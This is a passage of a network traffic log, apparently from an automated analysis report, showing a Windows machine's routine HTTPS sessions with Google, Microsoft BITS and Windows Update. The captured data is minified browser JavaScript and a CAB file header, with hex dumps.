0.9,2 2,2zM18
2024-11-01 04:52:14 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 37 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700337,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-11-01 04:52:14 UTC	1378	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-11-01 04:52:14 UTC	1378	IN	Data Raw: 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 Data Ascii: a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u003dfuncti
2024-11-01 04:52:14 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 7a 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 7a 65 5b 64 5d 2c 63 29 3a 5f 2e 75 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 75 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 Data Ascii: function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:ze.hasOwnProperty(d)?a.setAttribute(ze[d],c):_.ue(d,\"aria-\")\|\|_.ue(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})
2024-11-01 04:52:14 UTC	1378	IN	Data Raw: 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 47 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e 48 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 32 36 5c 75 30 30 32 36 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3f 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 61 29 3a 6e 75 6c 6c 7d 3b 5f 2e 49 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 32 36 5c 75 30 30 32 36 62 3f 61 5c 75 30 30 33 64 5c 75 30 30 33 64 62 7c 7c 61 2e 63 6f 6e 74 61 69 6e 73 28 62 29 3a 21 31 7d 3b 5f 2e 77 65 Data Ascii: lement(b)};_.Ge\u003dfunction(a){for(var b;b\u003da.firstChild;)a.removeChild(b)};_.He\u003dfunction(a){return a\u0026\u0026a.parentNode?a.parentNode.removeChild(a):null};_.Ie\u003dfunction(a,b){return a\u0026\u0026b?a\u003d\u003db\|\|a.contains(b):!1};_.we

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	142.250.185.132	443	8000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:14 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 04:52:14 UTC	957	IN	HTTP/1.1 200 OK Version: 691307345 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 01 Nov 2024 04:52:14 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-01 04:52:14 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-01 04:52:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:18 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-01 04:52:18 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=129204 Date: Fri, 01 Nov 2024 04:52:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=te1otyXvkGV1W7H&MD=KbCT987Z HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-01 04:52:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6e27debf-4f22-4fce-aa0e-81ae160cbcb3 MS-RequestId: 9fd0339c-dcff-484b-a196-d442d434d7b2 MS-CV: ycJKaAJy6ke/LhTx.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 01 Nov 2024 04:52:18 GMT Connection: close Content-Length: 24490
2024-11-01 04:52:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-01 04:52:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49752	142.250.181.238	443	8000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:52:19 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-01 04:52:19 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 30 Oct 2024 15:39:31 GMT Expires: Thu, 30 Oct 2025 15:39:31 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 133968 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-01 04:52:19 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-01 04:52:19 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-01 04:52:19 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-01 04:52:19 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-01 04:52:19 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-01 04:52:19 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-01 04:52:19 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-01 04:52:19 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
